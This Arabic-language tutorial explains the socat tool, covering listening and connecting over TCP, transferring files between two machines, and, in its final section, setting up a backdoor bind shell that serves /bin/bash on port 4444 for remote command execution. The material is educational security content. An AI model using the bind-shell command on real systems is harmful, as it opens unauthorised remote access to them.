ماهي أداة Socat ؟
تُعتبر أداة socat النسخة المتطورة من أداة Netcat لكن أداة Socat تُعتبَر أقوى من أداة Netcat حيث تُسمى بإسم nc++ و هذا يعني أن تلك الأداة معقدة. بعض الشيئ للمبتدئين و ذلك بسبب مجموعة من الخيارات التي تحملها تلك الأداة و الإستخدامات التي يُمكن تنفيذها مع تلك الأداة العملاقة.
حيث يُمكنها الإرسال و الأستقبال عبر بروتوكولات UDP && TCP و تُصَنَف تلك الأداة من بين اكثر 10 أدوات مختبرين الإختراق Top 10 Network Security.
الاتصال بين جهازين بواسطة socat
socat tcp4-listen:4444 stdout
في المثال السابق قُمنا بتشغيل أداة Socat لوضع الإستماع أو التنصت على الـ Machine الخاص بنا من خلال منفذ أو port 4444.
و هنا الآن يُمكن لأي شخص الإتصال مع Machine المستمع على المنفذ و قُمنا أيضاً بإستخدام TCP Protocol على IP Version 4.
حيث أن :
- TCP4 : تقوم بإستخدام بروتوكول TCP على عكس أداة Netcat هي كانت تُستخدَم tcp بشكل إفتراضي أما بالنسبة لهذه الأداة يجب تحديد نوع البروتوكول بالإضافه إلى الـ IP إذا كان IP Version 4 OR IP Version 6 و في حالتنا كان IP Version 4 .
- LISTEN : تقوم بتشغيل الـ machine في وضع التنصت على أي منفذ كان, في حالتنا كان المنفذ 4444.
- stdout : تقوم بعمل إعادة توجيه البيانات Data المُرسلة عبر هذا المنفَذ أسفل قائمة Terminal بإختصار تقوم بعمل (Redirect Data).
كود الإتصال connected :
socat - tcp-connect:192.168.1.2:4444
قُمنا هنا بالإتصال على Machine المستمع بإستخدام socat الذي IP Address (192.168.1.2).
- الداش (-) : تقوم بعمل تفاعل مع الجهاز الذي يجيب الإتصال عليه (Interact Shell) و هنا يجب إستخدامها حتى لا يفصل الإتصال بإختصار تقوم بعمل تفاعل مع stdout الموجودة في وضع التنصت حتى تقوم بإستقبال البيانات (Trifer Standard Input).
- tcp-connect : يستخدم هذا Argument لعمل الإتصال مع جهاز حيث يتطلب عنوان أو إسم الجهاز الذي يجب الإتصال عليه و ايضاً يطلب منفذ الإتصال على هذا الـ Machine و الشكل العام له tcp-connect:(host):(port) و يُمكن تحديد ايضاً إذا كان الإتصال على IP Version 4 او IP Version 6 .
نقل الملفات بين جهازين بواسطة Socat
تتميز أداة Socat في عملية نقل الملفات بين الأجهزة Socat Transfer Files Between Two Machine مهما كان نوع الملف مثلها مثل أداة Netcat لكن الطريقة في تلك الأداه معقدة بعض الشيئ.
socat tcp4-listen:4444,fork file:Data.text
في المثال السابق قمنا بعمل تنصت على المنفذ 4444 و هذا يعني أنه قابل للإتصال من أي جها آخر لكن هناك مهمة أخرى و هي نقل ملف data.text إلى اي جهاز يتصل على هذا Machine .
حيث أن :
- tcp4-listen : تقوم بوضع التنصت على المنفذ المطلوب.
- fork : تقوم بتحديد مهمة فرعية مع المهمة الأساسية التي هي التنصت.
- file : نقوم بتحديد الملف الذي نريد أن يتم نقله.
كود الإتصال :
socat tcp-connect:192.168.1.2:4444 file:kaissar.text,create
قمنا بالإتصال على الجهاز الذي عنوانه 192.168.1.2 على منفذ 4444 مع إستلام اي ملف بالإضافة إلى إنشاء الملف على الحاسوب.
حيث أن:
- tcp-connect : تقوم بالإتصال على أي مضيف و يجب أن تأخذ hostname And port.
- file : تقوم بإستقبال ملف و يمكن أن يكون أي إسم كان.
- create : تقوم بإنشاء الملف على الحاسوب.
خطر الباب الخلفي backdoor في socat
يُعتَبَر خطر إستخدام socat هو backdoor حيث تتميز تلك الأداة في إرسال البيانات لبرامج التنفيذ على الحاسوب مثل cmd.exe في. نظام الويندوز و /bin/bash في نظام لينكس مما يجعلك تستطيع تنفيذ أوامر في النظام بشكل كامل و تستطيع عمل Remote Shell على الحاسوب.
socat -d -d tcp4-listen:4444,fork exec:/bin/bash
حيث أن :
- d : تقوم بإظهار معلومات الإتصال مثل الوقت و التاريخ (increase verbosity).
- fork : تعني المهمة الفرعية للأداة.
- exec : تعني filename execute التي من خلالها تستطيع exec ملف مثل cmd.exe أو /bin/bash و سنقوم بالإتصال عليه من خلال هذا الأمر.
socat -d -d - tcp-connect:192.168.1.2:4444
و نستطيع الآن تنفيذ الأوامر على السيرفر أو machine.